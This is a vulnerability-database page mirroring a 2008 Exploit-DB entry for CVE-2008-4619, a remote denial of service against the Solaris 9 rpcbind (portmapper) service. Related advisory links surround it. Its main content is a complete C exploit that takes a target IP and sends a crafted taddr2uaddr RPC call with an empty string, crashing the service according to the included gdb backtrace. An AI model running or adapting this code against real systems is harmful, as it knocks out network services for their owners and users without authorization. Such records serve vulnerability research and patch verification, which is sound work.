Lucene search
+L

Solaris 9 PortBind - XDR-DECODE 'taddr2uaddr()' Remote Denial of Service

🗓️ 17 Oct 2008 00:00:00Reported by Federico L. Bossi BoninType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Solaris 9 PortBind XDR-DECODE taddr2uaddr Remote DoS by Federico L. Bossi Boni

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2008-4619
21 Oct 200800:10
attackerkb
circl
Circl
CVE-2008-4619
17 Oct 200800:00
circl
cve
CVE
CVE-2008-4619
20 Oct 200822:00
cve
cvelist
Cvelist
CVE-2008-4619
20 Oct 200822:00
cvelist
euvd
EUVD
EUVD-2008-4599
7 Oct 202500:30
euvd
fedora
Fedora
[SECURITY] Fedora 9 Update: libtirpc-0.1.7-20.fc9
30 Oct 200812:49
fedora
nessus
Tenable Nessus
Fedora 9 : libtirpc-0.1.7-20.fc9 (2008-9204)
31 Oct 200800:00
nessus
nessus
Tenable Nessus
Solaris 8 (sparc) : 108993-67
12 Jul 200400:00
nessus
nessus
Tenable Nessus
Solaris 8 (x86) : 108994-67
12 Jul 200400:00
nessus
nessus
Tenable Nessus
Solaris 9 (sparc) : 113319-27
12 Jul 200400:00
nessus
Rows per page
/*
////////////////////////////////////////////////////////////
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
////////////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]globalST[dot]com[dot]ar
/////////////////////////////////////////////////////


Program received signal SIGSEGV, Segmentation fault.
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
(gdb) backtrace
#0  0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
#1  0x00013d88 in rpcbproc_taddr2uaddr_com ()
#2  0x000161c0 in rpcb_service_4 ()
(gdb)

*/

#include <string.h>
#include <rpc/rpc.h>

struct xdr {
        long long_arg;
        char *string_arg;
};

typedef struct xdr xdr;
static struct timeval TIMEOUT = { 25, 0 };

bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
        register int32_t *buf;

         if (!xdr_long (xdrs, &objp->long_arg))
                 return FALSE;
         if (!xdr_string (xdrs, &objp->string_arg, 4096))
                 return FALSE;
        return TRUE;
}

char ** str_4(xdr *argp, CLIENT *clnt) {
        static char *clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call (clnt, 8,
                (xdrproc_t) xdr_xdr, (caddr_t) argp,
                (xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
                TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

main(int argc, char *argv[]) {
  CLIENT *c1;
  char *server;
  char **sresult;


  if (argc !=2){
    printf("=============================================================\n");
    printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");
    printf("-------------------------------------------------------------\n");
    printf("Federico L. Bossi Bonin <[email protected]>\n");
    printf("=============================================================\n\n");
    printf("usage: %s <IP>\n",argv[0]);
    exit(1);
  }

  server = argv[1];

if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
       clnt_pcreateerror(server);
    exit(1);
  }

  xdr xdrmessage;
  xdrmessage.long_arg = 0;
  xdrmessage.string_arg="";

  if ((sresult = str_4(&xdrmessage, c1)) == NULL){
   clnt_perror(c1, server);
   exit(1);
  }

  clnt_destroy(c1);
  exit(0);
}

// milw0rm.com [2008-10-17]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Oct 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.1199
32